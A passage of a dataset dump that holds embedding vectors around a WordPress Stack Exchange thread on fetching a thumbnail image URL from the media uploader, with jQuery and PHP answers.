-0.014801025390625,
0.0121002197265625,
-0.054534912109375,
-0.018646240234375,
-0.02838134765625,
-0.03265380859375,
-0.0013513565063476562,
0.0170440673828125,
0.02386474609375,
0.0418701171875,
-0.0066986083984375,
0.061248779296875,
-0.01971435546875,
0.035491943359375,
0.04071044921875,
-0.062469482421875,
-0.01270294189453125,
-0.029449462890625,
0.0179901123046875,
0.041534423828125,
-0.04534912109375,
0.03948974609375,
0.006336212158203125,
-0.0308380126953125,
-0.0294952392578125,
-0.023712158203125,
0.084228515625,
-0.0033512115478515625,
-0.0418701171875,
0.00582122802734375,
0.043731689453125,
-0.003032684326171875,
-0.004436492919921875,
0.08331298828125,
-0.0699462890625,
-0.0220947265625,
0.03240966796875,
0.00641632080078125,
-0.031280517578125,
-0.0025634765625,
-0.058868408203125,
0.05706787109375,
-0.016998291015625,
0.0179901123046875,
-0.0271759033203125,
0.0296478271484375,
0.0298309326171875,
0.03131103515625,
-0.0161285400390625,
0.021575927734375,
-0.060791015625,
0.032684326171875,
-0.0276336669921875,
0.00963592529296875,
0.0031032562255859375,
0.0140380859375,
0.03424072265625,
-0.0006842613220214844,
0.0227813720703125,
0.027557373046875,
0.0751953125,
0.00017762184143066406,
-0.0298309326171875,
0.0176544189453125,
-0.01396942138671875,
0.005245208740234375,
0.004619598388671875,
-0.03582763671875,
0.0179595947265625,
-0.047271728515625,
-0.02197265625,
0.0190887451171875,
0.026611328125,
0.04803466796875,
0.004642486572265625,
0.025360107421875,
-0.06402587890625,
0.01318359375,
0.0748291015625,
-0.057281494140625,
-0.01091766357421875,
0.033782958984375,
0.035614013671875,
-0.08233642578125,
0.0025310516357421875,
-0.039276123046875,
0.05743408203125,
-0.0030879974365234375,
0.013824462890625,
0.0114898681640625,
0.0130615234375,
0.040771484375,
0.0211639404296875,
0.00922393798828125,
0.04644775390625,
-0.01093292236328125,
0.0175018310546875,
0.03582763671875,
0.021148681640625,
-0.0214080810546875,
-0.022308349609375,
0.062347412109375,
0.038421630859375,
-0.0168914794921875,
-0.00443267822265625,
0.01245880126953125,
-0.002971649169921875,
-0.00489044189453125,
-0.0300750732421875,
-0.0033092498779296875,
-0.0120697021484375,
0.00473785400390625,
-0.0179595947265625,
0.003063201904296875,
0.042327880859375,
0.02459716796875,
0.01197052001953125,
-0.026641845703125,
-0.03228759765625,
0.0156097412109375,
-0.051666259765625,
0.0258636474609375,
0.0283660888671875,
0.07208251953125,
-0.00611114501953125,
0.0479736328125,
-0.03839111328125,
-0.0128631591796875,
-0.0156402587890625,
0.0015354156494140625,
0.0008373260498046875,
0.02972412109375,
-0.01555633544921875,
0.00861358642578125,
0.00630950927734375,
0.007335662841796875,
-0.0001360177993774414,
-0.01507568359375,
0.01454925537109375,
0.03289794921875,
-0.02734375,
-0.0165863037109375,
0.039520263671875,
-0.01457977294921875,
-0.006046295166015625,
-0.01525115966796875,
0.0125274658203125,
0.0203704833984375,
-0.015594482421875,
0.0153350830078125,
0.0041046142578125,
0.04345703125,
-0.0447998046875,
0.06341552734375,
-0.0094451904296875,
-0.01332855224609375,
-0.005615234375,
-0.033050537109375,
0.060882568359375,
-0.021087646484375,
-0.06707763671875,
-0.007289886474609375,
-0.031585693359375,
-0.04327392578125,
0.020843505859375,
0.0295257568359375,
-0.0235595703125,
0.029266357421875,
0.0223541259765625,
0.0101470947265625,
-0.0018510818481445312,
-0.03704833984375,
0.0173492431640625,
-0.03265380859375,
0.01555633544921875,
0.00585174560546875,
-0.0242919921875,
-0.0182342529296875,
-0.0016422271728515625,
0.0225982666015625,
0.01284027099609375,
0.014404296875,
0.0035533905029296875,
0.01557159423828125,
-0.0110321044921875,
0.027191162109375,
-0.03826904296875,
-0.024993896484375,
0.03778076171875,
-0.031494140625,
0.001483917236328125,
0.00601959228515625,
-0.0433349609375,
0.03729248046875,
0.023834228515625,
0.0108642578125,
0.04248046875,
0.0014400482177734375,
0.009307861328125,
-0.0141143798828125,
0.0197601318359375,
-0.03668212890625,
-0.04876708984375,
-0.0482177734375,
-0.013885498046875,
-0.006824493408203125,
0.0130767822265625,
0.0355224609375,
0.04241943359375,
0.0263671875,
-0.0396728515625,
0.051361083984375,
-0.0784912109375,
0.086181640625,
0.053680419921875,
0.005901336669921875,
-0.0235443115234375,
-0.0579833984375,
-0.024444580078125,
0.0181121826171875,
-0.01910400390625,
0.0271148681640625,
-0.0113677978515625,
0.0145721435546875,
0.0015134811401367188,
-0.0125274658203125,
0.0171356201171875,
-0.05133056640625,
-0.007350921630859375,
0.0243988037109375,
-0.007598876953125,
0.0014066696166992188,
0.0012102127075195312,
-0.033599853515625,
-0.077392578125,
-0.00103759765625,
0.016357421875,
-0.0469970703125,
-0.0273284912109375,
-0.05743408203125,
-0.03045654296875,
0.02764892578125,
-0.00531005859375,
0.0052642822265625,
-0.02825927734375,
0.0123138427734375,
0.0255584716796875,
-0.00777435302734375,
-0.0128936767578125,
0.0306854248046875,
0.050933837890625,
-0.04229736328125,
0.01611328125,
0.00319671630859375,
-0.04522705078125,
0.0074462890625,
0.0232391357421875,
0.046173095703125,
-0.02435302734375,
-0.03680419921875,
0.0235595703125,
0.0031909942626953125,
0.06353759765625,
-0.044708251953125,
-0.030120849609375,
-0.037017822265625,
0.015625,
-0.01190948486328125,
0.006443023681640625,
0.033294677734375,
-0.02020263671875,
-0.0535888671875,
-0.01221466064453125,
0.0025730133056640625,
0.015625,
-0.03564453125,
-0.074462890625,
0.039093017578125,
-0.01180267333984375,
-0.044036865234375,
-0.01727294921875,
0.012725830078125,
-0.03021240234375,
0.045928955078125,
0.006427764892578125,
-0.0229949951171875,
0.0226287841796875,
0.033966064453125,
0.01197052001953125,
0.0006899833679199219,
0.066162109375,
-0.03460693359375,
-0.0008187294006347656,
-0.0308380126953125,
-0.0166778564453125,
0.002899169921875,
0.034881591796875,
-0.0063323974609375,
0.01027679443359375,
0.04095458984375,
-0.042327880859375,
-0.07989501953125,
-0.04644775390625,
-0.032012939453125,
-0.011932373046875,
-0.0242919921875,
-0.0035037994384765625,
-0.02374267578125,
0.056304931640625,
-0.01055908203125,
0.00693511962890625,
0.00518798828125,
0.01220703125,
-0.004451751708984375,
-0.061309814453125,
0.0059967041015625,
0.035125732421875,
-0.06573486328125,
-0.0013294219970703125,
0.02471923828125,
-0.0027599334716796875,
0.0025177001953125,
0.006824493408203125,
-0.04144287109375,
-0.017913818359375,
-0.05267333984375,
-0.00980377197265625,
-0.0728759765625,
-0.01003265380859375,
0.05987548828125,
-0.040771484375,
-0.003520965576171875,
-0.0174713134765625,
0.01166534423828125,
0.020782470703125,
-0.01180267333984375,
-0.006389617919921875,
0.01226806640625,
-0.0223541259765625,
-0.00576019287109375,
-0.0022029876708984375,
-0.0133514404296875,
-0.005992889404296875,
0.0062408447265625,
-0.0242156982421875,
0.007312774658203125,
0.0191192626953125,
0.01546478271484375,
-0.0153045654296875,
-0.0237884521484375,
0.0026226043701171875,
-0.0244140625,
-0.0045013427734375,
0.040679931640625,
0.01299285888671875,
0.0117645263671875,
-0.0043792724609375,
-0.017852783203125,
0.022430419921875,
-0.038909912109375,
0.01316070556640625,
-0.01374053955078125,
0.00689697265625,
-0.0135650634765625,
-0.004314422607421875,
-0.0572509765625,
-0.0171051025390625,
0.0234527587890625
] |
172403d4518cc06e612f9d3d90a202472032b8a6
|
Wordpress Stackexchange
Q: Get url of thumbnail from the media uploader I want to select image from the WordPress 3.5 media uploader. I can get the image URL with the following code, but it gets the full size image. I want to get the thumbnail image url,how can I get that?
var custom_uploader;
$('.upload-image').click(function(e) {
e.preventDefault();
if (custom_uploader) {
custom_uploader.open();
return;
}
custom_uploader = wp.media.frames.file_frame = wp.media({
title: 'Choose Image',
button: {
text: 'Choose Image'
},
multiple: false
});
//When a file is selected, grab the URL
custom_uploader.on('select', function() {
attachment = custom_uploader.state().get('selection').first().toJSON();
var abc = attachment.url; //this is full image url.
alert (abc);
});
custom_uploader.open();
});
A: You can debug the result of attachment by :
console.log(attachment);
and if the thumbnail size available you can retrieve it using :
var thumb = attachment.sizes.thumbnail.url;
alert(thumb);
|
Q: Get url of thumbnail from the media uploader I want to select image from the WordPress 3.5 media uploader. I can get the image URL with the following code, but it gets the full size image. I want to get the thumbnail image url,how can I get that?
var custom_uploader;
$('.upload-image').click(function(e) {
e.preventDefault();
if (custom_uploader) {
custom_uploader.open();
return;
}
custom_uploader = wp.media.frames.file_frame = wp.media({
title: 'Choose Image',
button: {
text: 'Choose Image'
},
multiple: false
});
//When a file is selected, grab the URL
custom_uploader.on('select', function() {
attachment = custom_uploader.state().get('selection').first().toJSON();
var abc = attachment.url; //this is full image url.
alert (abc);
});
custom_uploader.open();
});
A: You can debug the result of attachment by :
console.log(attachment);
and if the thumbnail size available you can retrieve it using :
var thumb = attachment.sizes.thumbnail.url;
alert(thumb);
A: Found this question doing my own research, and ended up developing a richer solution that I thought might be valuable.
If you want to know the url of the media size selected by the user, then the following code (full jQuery code below) will do that for you:
jQuery(function($) {
// Bind to my upload butto
$(document).on('click', 'a.custom-media-upload', function() {
customUpload($(this));
return false;
});
function customUpload(el) {
formfield = $(el);
custom_media = true;
var _orig_send_attachment = wp.media.editor.send.attachment;
wp.media.editor.send.attachment = function(props, attachment) {
if ( custom_media ) {
formfield = renderUpload(formfield, attachment, props);
} else {
return _orig_send_attachment.apply( this, [props, attachment] );
}
}
wp.media.editor.open(1);
}
function renderUpload(field, attachment, props) {
// This gets the full-sized image url
var src = attachment.url;
// Get the size selected by the user
var size = props.size;
// Or, if you'd rather, you can set the size you want to get:
// var size = 'thumbnail'; // or 'full' or 'medium' or 'large'...
// If the media supports the selected size, get it
if (attachment.sizes[size]) {
src = attachment.sizes[size].url;
}
// Do what you want with src here....
}
});
A: You'd have to make a call to the server to run some PHP.
$thumb_src = wp_get_attachment_image_src( $id, 'thumbnail' );
Where $id is the id of the attachment
attachment.attributes.id in your custom_uploader select function will give you the value. You could post that back with an ajax call and get the thumbnail url that way.
|
wordpress
|
{
"language": "en",
"length": 375,
"provenance": "stackexchange_00019.jsonl.gz:436394",
"question_score": "8",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/112016"
}
|
[
0.042999267578125,
-0.00019538402557373047,
0.01971435546875,
-0.0240478515625,
-0.0011396408081054688,
-0.022979736328125,
0.033905029296875,
-0.032073974609375,
0.04034423828125,
0.003276824951171875,
-0.0023956298828125,
-0.0167083740234375,
-0.0020294189453125,
-0.028533935546875,
-0.01611328125,
-0.00786590576171875,
0.062103271484375,
-0.03143310546875,
0.043792724609375,
0.006282806396484375,
0.0069427490234375,
0.07000732421875,
0.041229248046875,
0.058013916015625,
0.023223876953125,
0.00579071044921875,
0.044708251953125,
0.01953125,
-0.00998687744140625,
-0.01715087890625,
0.023406982421875,
-0.008453369140625,
0.02166748046875,
-0.0171661376953125,
0.01458740234375,
-0.004619598388671875,
0.049835205078125,
-0.0244293212890625,
0.002376556396484375,
0.03631591796875,
0.02789306640625,
-0.007526397705078125,
-0.04095458984375,
-0.00803375244140625,
-0.014984130859375,
-0.033905029296875,
0.0200958251953125,
-0.045654296875,
0.01442718505859375,
0.06170654296875,
0.0191497802734375,
0.0025768280029296875,
0.0167694091796875,
-0.01049041748046875,
-0.00258636474609375,
-0.019439697265625,
-0.03997802734375,
0.06298828125,
0.015655517578125,
0.00914764404296875,
-0.00902557373046875,
0.0222015380859375,
-0.0010461807250976562,
-0.0013055801391601562,
-0.035919189453125,
0.015106201171875,
-0.00965118408203125,
-0.00991058349609375,
0.0215301513671875,
-0.03839111328125,
-0.0236663818359375,
0.0034847259521484375,
0.01230621337890625,
-0.01467132568359375,
-0.0166168212890625,
0.0302276611328125,
-0.0023040771484375,
-0.0151824951171875,
0.028594970703125,
-0.034820556640625,
0.040313720703125,
-0.049346923828125,
-0.05029296875,
0.04656982421875,
0.036773681640625,
0.080078125,
0.024505615234375,
-0.047271728515625,
-0.00789642333984375,
0.0121307373046875,
-0.017791748046875,
-0.0013484954833984375,
-0.0034770965576171875,
0.035308837890625,
-0.01554107666015625,
-0.01068115234375,
0.01149749755859375,
0.012359619140625,
0.00888824462890625,
-0.0023479461669921875,
0.0170440673828125,
-0.050048828125,
0.012725830078125,
-0.04052734375,
0.00872802734375,
-0.0011491775512695312,
0.00040984153747558594,
-0.034912109375,
0.01519012451171875,
0.02606201171875,
-0.0275115966796875,
0.035308837890625,
0.00629425048828125,
0.0229644775390625,
-0.00836944580078125,
-0.018035888671875,
-0.04058837890625,
0.0264434814453125,
-0.035858154296875,
0.017547607421875,
-0.01001739501953125,
0.0014286041259765625,
0.027435302734375,
-0.015869140625,
0.005031585693359375,
0.00159454345703125,
-0.02081298828125,
-0.0260009765625,
-0.0440673828125,
0.023162841796875,
-0.004119873046875,
0.04119873046875,
0.01611328125,
-0.0117645263671875,
-0.04052734375,
-0.004817962646484375,
0.0164337158203125,
-0.0005421638488769531,
0.0175628662109375,
0.0079193115234375,
-0.0128936767578125,
-0.019073486328125,
0.040069580078125,
-0.01551055908203125,
-0.0152130126953125,
0.033233642578125,
-0.0000349879264831543,
-0.00244140625,
-0.01678466796875,
-0.04852294921875,
-0.01110076904296875,
-0.025543212890625,
0.045684814453125,
0.01448822021484375,
-0.0277557373046875,
-0.035125732421875,
0.0631103515625,
-0.045928955078125,
-0.02081298828125,
-0.0791015625,
0.041748046875,
-0.002574920654296875,
-0.0022754669189453125,
0.0111541748046875,
0.004322052001953125,
-0.005435943603515625,
-0.04840087890625,
0.00726318359375,
0.0269775390625,
0.0706787109375,
0.0235595703125,
-0.00925445556640625,
-0.0214996337890625,
0.022430419921875,
0.0018281936645507812,
-0.019317626953125,
0.032073974609375,
0.01396942138671875,
0.00274658203125,
0.057342529296875,
0.0024623870849609375,
-0.032623291015625,
0.07440185546875,
-0.049652099609375,
-0.0017385482788085938,
-0.0023746490478515625,
0.010894775390625,
0.019317626953125,
-0.00215911865234375,
0.0123291015625,
0.01194000244140625,
0.008209228515625,
-0.041900634765625,
0.034637451171875,
-0.0019245147705078125,
0.0172119140625,
-0.05682373046875,
0.0238189697265625,
-0.024566650390625,
-0.0244293212890625,
0.0560302734375,
0.03082275390625,
0.01134490966796875,
0.0088043212890625,
-0.0267486572265625,
0.030303955078125,
-0.01016998291015625,
0.0308837890625,
-0.006252288818359375,
0.038604736328125,
0.0230560302734375,
0.0271453857421875,
-0.060882568359375,
0.0540771484375,
0.0206298828125,
0.025543212890625,
-0.0009551048278808594,
0.01141357421875,
-0.0278472900390625,
0.041412353515625,
-0.07086181640625,
0.00643157958984375,
-0.06903076171875,
0.0140228271484375,
0.0114898681640625,
0.0119171142578125,
-0.018829345703125,
-0.0030612945556640625,
0.00235748291015625,
0.03533935546875,
-0.048675537109375,
-0.00400543212890625,
-0.043701171875,
-0.02777099609375,
-0.030548095703125,
-0.012542724609375,
-0.0023860931396484375,
-0.06292724609375,
0.035552978515625,
0.0408935546875,
0.039459228515625,
0.03759765625,
0.0131072998046875,
0.01358795166015625,
0.0557861328125,
0.002391815185546875,
0.0247344970703125,
-0.0160369873046875,
0.01552581787109375,
0.0189208984375,
0.018218994140625,
-0.031494140625,
0.00970458984375,
-0.0162506103515625,
0.01313018798828125,
0.022430419921875,
0.0043792724609375,
0.0394287109375,
-0.0293731689453125,
0.050323486328125,
-0.0241241455078125,
0.050628662109375,
0.024261474609375,
-0.0145263671875,
-0.03399658203125,
0.06781005859375,
0.022674560546875,
0.0511474609375,
-0.034515380859375,
0.034423828125,
0.02093505859375,
0.0012598037719726562,
-0.0152435302734375,
0.0352783203125,
0.055023193359375,
-0.0247039794921875,
-0.01177215576171875,
-0.020263671875,
-0.0114288330078125,
0.01215362548828125,
-0.004169464111328125,
0.0096893310546875,
-0.061126708984375,
0.0011014938354492188,
-0.0114288330078125,
-0.04833984375,
-0.0018701553344726562,
0.0411376953125,
0.0207977294921875,
0.033660888671875,
0.050506591796875,
0.0269622802734375,
0.0075836181640625,
0.0284881591796875,
-0.019012451171875,
-0.004352569580078125,
0.0092620849609375,
-0.042633056640625,
0.054718017578125,
-0.0236968994140625,
0.08648681640625,
0.07867431640625,
-0.050567626953125,
0.050323486328125,
0.00475311279296875,
-0.075439453125,
-0.012115478515625,
0.039306640625,
-0.0000934600830078125,
-0.0228271484375,
-0.05126953125,
0.02117919921875,
0.0007495880126953125,
-0.0236968994140625,
-0.0209808349609375,
-0.0279388427734375,
-0.0280609130859375,
-0.01367950439453125,
-0.078857421875,
-0.02923583984375,
-0.0018291473388671875,
-0.101806640625,
-0.0157623291015625,
-0.00890350341796875,
-0.07305908203125,
0.0016651153564453125,
0.04266357421875,
0.0008111000061035156,
0.021484375,
-0.00872039794921875,
-0.046051025390625,
-0.00650787353515625,
-0.0489501953125,
-0.0153045654296875,
-0.006763458251953125,
0.01474761962890625,
0.0028133392333984375,
-0.005950927734375,
-0.0198516845703125,
-0.0306396484375,
-0.004100799560546875,
0.0243377685546875,
-0.0005803108215332031,
-0.0435791015625,
-0.01071929931640625,
0.01230621337890625,
-0.02056884765625,
-0.007205963134765625,
0.024322509765625,
0.03558349609375,
-0.03607177734375,
0.010223388671875,
-0.00708770751953125,
-0.0279693603515625,
-0.00806427001953125,
0.07421875,
0.0223541259765625,
-0.0296630859375,
0.0181732177734375,
-0.06103515625,
0.003551483154296875,
-0.022247314453125,
-0.036407470703125,
0.032440185546875,
0.0213165283203125,
-0.026824951171875,
0.0153656005859375,
-0.0047607421875,
0.0236968994140625,
0.0174102783203125,
0.0008993148803710938,
-0.035003662109375,
0.0577392578125,
0.005489349365234375,
0.0399169921875,
-0.0199432373046875,
-0.0016450881958007812,
-0.01904296875,
0.00902557373046875,
-0.01122283935546875,
0.0241851806640625,
0.0032958984375,
0.00907135009765625,
-0.02392578125,
-0.038055419921875,
0.03851318359375,
-0.0219268798828125,
0.000743865966796875,
-0.012115478515625,
-0.0287322998046875,
0.0126800537109375,
0.0765380859375,
-0.01372528076171875,
-0.004894256591796875,
-0.019805908203125,
-0.0001589059829711914,
-0.01129913330078125,
-0.03759765625,
-0.046051025390625,
0.004070281982421875,
-0.06036376953125,
0.0023097991943359375,
0.013580322265625,
-0.0261993408203125,
-0.00994110107421875,
0.0072784423828125,
-0.045684814453125,
-0.0194091796875,
0.0283050537109375,
0.001361846923828125,
-0.004070281982421875,
0.0182952880859375,
-0.01413726806640625,
0.015869140625,
-0.0178375244140625,
-0.01116180419921875,
-0.07257080078125,
-0.01751708984375,
0.02056884765625,
0.057769775390625,
-0.0276947021484375,
0.00887298583984375,
-0.062408447265625,
0.032928466796875,
-0.00035858154296875,
0.0153656005859375,
0.0027828216552734375,
0.00878143310546875,
0.033660888671875,
-0.0096893310546875,
0.00920867919921875,
-0.0166473388671875,
-0.00977325439453125,
-0.06536865234375,
-0.0745849609375,
-0.09674072265625,
-0.036285400390625,
-0.0010318756103515625,
-0.00382232666015625,
-0.0097198486328125,
-0.03118896484375,
0.0006136894226074219,
0.0164642333984375,
0.01181793212890625,
0.004276275634765625,
-0.006336212158203125,
0.0016994476318359375,
-0.0275726318359375,
0.0399169921875,
0.0123138427734375,
-0.0137939453125,
-0.01015472412109375,
0.06268310546875,
0.0158538818359375,
-0.0214080810546875,
-0.037200927734375,
-0.030059814453125,
0.051910400390625,
-0.0116729736328125,
0.04864501953125,
0.06597900390625,
-0.0298004150390625,
0.024139404296875,
0.052215576171875,
0.029083251953125,
-0.01235198974609375,
0.050811767578125,
0.01605224609375,
-0.01372528076171875,
0.02569580078125,
0.044403076171875,
-0.052276611328125,
0.0017652511596679688,
-0.0223236083984375,
0.025146484375,
-0.01200103759765625,
-0.0028896331787109375,
-0.01012420654296875,
0.022491455078125,
-0.006671905517578125,
-0.05474853515625,
0.0177154541015625,
-0.042205810546875,
0.071533203125,
-0.0017728805541992188,
-0.0030193328857421875,
0.061920166015625,
0.060760498046875,
0.01026153564453125,
0.014984130859375,
0.034423828125,
0.01873779296875,
0.06732177734375,
-0.028900146484375,
0.0155487060546875,
-0.03509521484375,
0.0110321044921875,
-0.055908203125,
-0.00701141357421875,
-0.01273345947265625,
-0.05926513671875,
0.006130218505859375,
0.036376953125,
-0.014404296875,
-0.039794921875,
0.053985595703125,
0.052001953125,
-0.0010995864868164062,
-0.0220489501953125,
-0.0654296875,
0.0222320556640625,
-0.06396484375,
0.0360107421875,
-0.0020751953125,
-0.00829315185546875,
0.00983428955078125,
0.022552490234375,
-0.013092041015625,
0.007110595703125,
0.0035419464111328125,
-0.0030689239501953125,
-0.010589599609375,
0.0222930908203125,
0.01232147216796875,
0.0242767333984375,
0.0013866424560546875,
-0.004638671875,
0.032745361328125,
-0.0190887451171875,
-0.0004925727844238281,
0.01120758056640625,
0.016357421875,
-0.0190277099609375,
-0.0207672119140625,
0.02703857421875,
-0.01311492919921875,
-0.0197906494140625,
-0.00640106201171875,
-0.01407623291015625,
-0.021728515625,
-0.01275634765625,
0.003437042236328125,
0.02862548828125,
0.004703521728515625,
-0.026092529296875,
0.03424072265625,
-0.00853729248046875,
0.006938934326171875,
0.007549285888671875,
-0.07086181640625,
0.0379638671875,
0.0535888671875,
-0.0008020401000976562,
-0.007110595703125,
-0.0213165283203125,
0.0233154296875,
-0.01222991943359375,
-0.024932861328125,
-0.0214385986328125,
0.08758544921875,
-0.038909912109375,
0.0035991668701171875,
-0.0130615234375,
0.0024261474609375,
-0.07958984375,
0.0193939208984375,
0.019195556640625,
0.0224456787109375,
0.0120391845703125,
-0.016510009765625,
-0.0274810791015625,
-0.021575927734375,
0.06146240234375,
-0.00040793418884277344,
-0.009918212890625,
-0.03704833984375,
-0.01485443115234375,
0.014556884765625,
0.00481414794921875,
0.06048583984375,
0.030181884765625,
0.0189666748046875,
-0.0367431640625,
0.032745361328125,
-0.005687713623046875,
-0.002529144287109375,
0.0170745849609375,
0.031890869140625,
0.010894775390625,
-0.01352691650390625,
-0.02813720703125,
-0.0297698974609375,
-0.027435302734375,
-0.04931640625,
0.01474761962890625,
0.01192474365234375,
0.0015592575073242188,
0.00286102294921875,
0.0211181640625,
0.0233001708984375,
-0.027435302734375,
-0.00601959228515625,
-0.0042877197265625,
-0.0298919677734375,
0.06488037109375,
0.0212554931640625,
-0.010467529296875,
0.0036487579345703125,
-0.03924560546875,
0.01380157470703125,
0.00701904296875,
0.00666046142578125,
0.0252227783203125,
-0.039337158203125,
0.008697509765625,
0.052215576171875,
0.0166778564453125,
0.03179931640625,
0.1026611328125,
0.0006723403930664062,
0.048675537109375,
0.06451416015625,
0.0019054412841796875,
0.0071258544921875,
0.0452880859375,
-0.035186767578125,
-0.035980224609375,
0.033935546875,
0.018768310546875,
-0.0131683349609375,
0.01023101806640625,
-0.01120758056640625,
0.045257568359375,
-0.04205322265625,
0.06402587890625,
0.038330078125,
0.020172119140625,
0.0246124267578125,
-0.057769775390625,
0.029327392578125,
0.007389068603515625,
-0.006389617919921875,
0.00138092041015625,
0.025054931640625,
-0.055023193359375,
-0.032562255859375,
0.00841522216796875,
-0.00829315185546875,
-0.005016326904296875,
0.029296875,
0.0015649795532226562,
-0.006107330322265625,
-0.05029296875,
-0.036468505859375,
0.026123046875,
-0.034393310546875,
-0.01003265380859375,
0.01018524169921875,
-0.0399169921875,
0.012115478515625,
-0.02880859375,
-0.01087188720703125,
-0.043212890625,
0.01337432861328125,
-0.005008697509765625,
0.0246124267578125,
0.010009765625,
0.0518798828125,
-0.01427459716796875,
0.00801849365234375,
0.031341552734375,
-0.042388916015625,
0.038848876953125,
0.005199432373046875,
0.0228118896484375,
0.0097503662109375,
-0.048431396484375,
0.00518798828125,
-0.02825927734375,
0.0179443359375,
0.0226898193359375,
0.0369873046875,
0.0289764404296875,
-0.049774169921875,
-0.00582122802734375,
0.05267333984375,
-0.0008692741394042969,
-0.0146026611328125,
-0.03411865234375,
0.03704833984375,
-0.0606689453125,
-0.0181121826171875,
-0.00995635986328125,
-0.0192718505859375,
-0.0152587890625,
-0.0482177734375,
-0.0631103515625,
0.06671142578125,
-0.030670166015625,
0.0458984375,
0.0179443359375,
0.0189361572265625,
0.00103759765625,
0.006793975830078125,
-0.001995086669921875,
0.00917816162109375,
-0.037139892578125,
0.0045166015625,
-0.045166015625,
0.0026912689208984375,
-0.01458740234375,
0.038482666015625,
0.037261962890625,
-0.009246826171875,
-0.0140228271484375,
-0.032745361328125,
0.048431396484375,
0.07037353515625,
0.0287017822265625,
-0.008636474609375,
0.0199127197265625,
0.00836944580078125,
0.075927734375,
-0.00598907470703125,
0.0396728515625,
0.0174560546875,
0.01006317138671875,
0.04827880859375,
0.00787353515625,
0.008514404296875,
0.01959228515625,
0.033599853515625,
-0.031036376953125,
0.0015058517456054688,
0.049468994140625,
-0.099365234375,
0.0355224609375,
0.066650390625,
0.029296875,
0.04864501953125,
-0.01374053955078125,
0.007358551025390625,
0.036895751953125,
-0.0299835205078125,
-0.0105743408203125,
0.0045318603515625,
0.0007491111755371094,
0.02410888671875,
0.002689361572265625,
-0.0189971923828125,
0.022613525390625,
0.02886962890625,
0.026031494140625,
0.0023651123046875,
-0.0019550323486328125,
-0.047607421875,
0.006000518798828125,
0.04632568359375,
0.0311737060546875,
-0.042724609375,
-0.056854248046875,
-0.004032135009765625,
0.0020084381103515625,
0.02215576171875,
0.000759124755859375,
0.00806427001953125,
-0.040618896484375,
0.0045013427734375,
-0.05914306640625,
0.0241851806640625,
0.05535888671875,
0.039764404296875,
0.005138397216796875,
0.00034928321838378906,
-0.082275390625,
-0.01212310791015625,
0.0108489990234375,
-0.03570556640625,
-0.0004134178161621094,
-0.003734588623046875,
-0.003047943115234375,
0.0094451904296875,
-0.016693115234375,
0.016693115234375,
-0.0286407470703125,
0.063232421875,
-0.01323699951171875,
0.042755126953125,
-0.004474639892578125,
-0.0239715576171875,
-0.0027484893798828125,
0.025726318359375,
0.02960205078125,
0.017242431640625,
0.0443115234375,
0.0226898193359375,
-0.039520263671875,
0.005275726318359375,
0.038848876953125,
-0.0164337158203125,
0.0467529296875,
-0.038665771484375,
0.045654296875,
0.0204010009765625,
-0.0191650390625,
-0.00817108154296875,
-0.035064697265625,
0.0804443359375,
-0.0301361083984375,
0.056549072265625,
-0.017120361328125,
-0.01113128662109375,
0.01483154296875,
-0.0477294921875,
0.06646728515625,
-0.0209503173828125,
-0.05511474609375,
-0.0087127685546875,
0.0002734661102294922,
-0.013092041015625,
-0.0262451171875,
-0.00009274482727050781,
-0.0474853515625,
0.061370849609375,
-0.01812744140625,
-0.0102081298828125,
-0.01297760009765625,
-0.0026149749755859375,
0.0093841552734375,
-0.0146331787109375,
0.01275634765625,
-0.005840301513671875,
-0.06256103515625,
-0.031402587890625,
-0.005161285400390625,
0.0026226043701171875,
0.0281829833984375,
0.037139892578125,
0.02166748046875,
0.0113677978515625,
0.01287078857421875,
0.00270843505859375,
-0.01244354248046875,
0.021697998046875,
-0.0279388427734375,
-0.00763702392578125,
0.0018835067749023438,
-0.015289306640625,
0.033966064453125,
0.03424072265625,
0.014495849609375,
-0.0193023681640625,
-0.0183563232421875,
-0.0157470703125,
0.013153076171875,
0.055938720703125,
-0.0014638900756835938,
-0.041015625,
-0.032012939453125,
-0.043548583984375,
-0.032745361328125,
0.01042938232421875,
0.0201568603515625,
0.0311431884765625,
0.0175933837890625,
-0.0008597373962402344,
-0.0205078125,
0.0350341796875,
-0.0248565673828125,
0.047149658203125,
0.045013427734375,
-0.055419921875,
-0.032440185546875,
0.0017042160034179688,
-0.00811004638671875,
-0.003093719482421875,
0.0060272216796875,
0.0355224609375,
0.0004172325134277344,
0.021026611328125,
0.022552490234375,
-0.019317626953125,
-0.01079559326171875,
-0.048370361328125,
-0.0238189697265625,
0.035736083984375,
-0.0013332366943359375,
-0.0303955078125,
-0.054534912109375,
-0.0025348663330078125,
-0.03167724609375,
-0.008331298828125,
0.032318115234375,
-0.00505828857421875,
0.0209808349609375,
0.0023479461669921875,
-0.01519775390625,
0.0006856918334960938,
0.0090484619140625,
-0.040740966796875,
0.035552978515625,
-0.0103302001953125,
-0.020477294921875,
-0.01433563232421875,
0.03466796875,
-0.0203857421875,
-0.004566192626953125,
-0.031463623046875,
-0.0511474609375,
-0.0176239013671875,
0.05938720703125,
0.0032958984375,
0.041168212890625,
0.04644775390625,
-0.04437255859375,
-0.003086090087890625,
0.045928955078125,
0.047332763671875,
0.113037109375,
-0.01287841796875,
-0.0272064208984375,
0.0064239501953125,
0.0049591064453125,
-0.00795745849609375,
-0.022705078125,
0.00006884336471557617,
-0.0233917236328125,
0.00698089599609375,
0.00493621826171875,
-0.0184783935546875,
-0.00494384765625,
-0.044830322265625,
-0.0814208984375,
0.045166015625,
-0.01284027099609375,
-0.04742431640625,
-0.003192901611328125,
0.0003972053527832031,
0.0254058837890625,
0.0022525787353515625,
-0.0036773681640625,
-0.00591278076171875,
-0.044342041015625,
-0.00687408447265625,
0.011322021484375,
-0.0113677978515625,
0.021392822265625,
-0.0034961700439453125,
-0.056396484375,
0.0126800537109375,
0.011962890625,
-0.007221221923828125,
-0.01070404052734375,
0.01186370849609375,
0.0182647705078125,
0.04339599609375,
-0.007396697998046875,
-0.01824951171875,
-0.006389617919921875,
-0.04022216796875,
-0.029205322265625,
-0.0004494190216064453,
-0.02105712890625,
-0.00583648681640625,
0.055633544921875,
0.08099365234375,
0.01357269287109375,
-0.03173828125,
-0.00762176513671875,
0.006587982177734375,
-0.0205230712890625,
-0.0168609619140625,
0.021484375,
-0.068359375,
-0.020538330078125,
-0.004924774169921875,
0.003444671630859375,
-0.0217437744140625,
-0.01070404052734375,
-0.05010986328125,
-0.005008697509765625,
-0.0012788772583007812,
0.0267791748046875,
-0.07830810546875,
0.02490234375,
0.10076904296875,
-0.06793212890625,
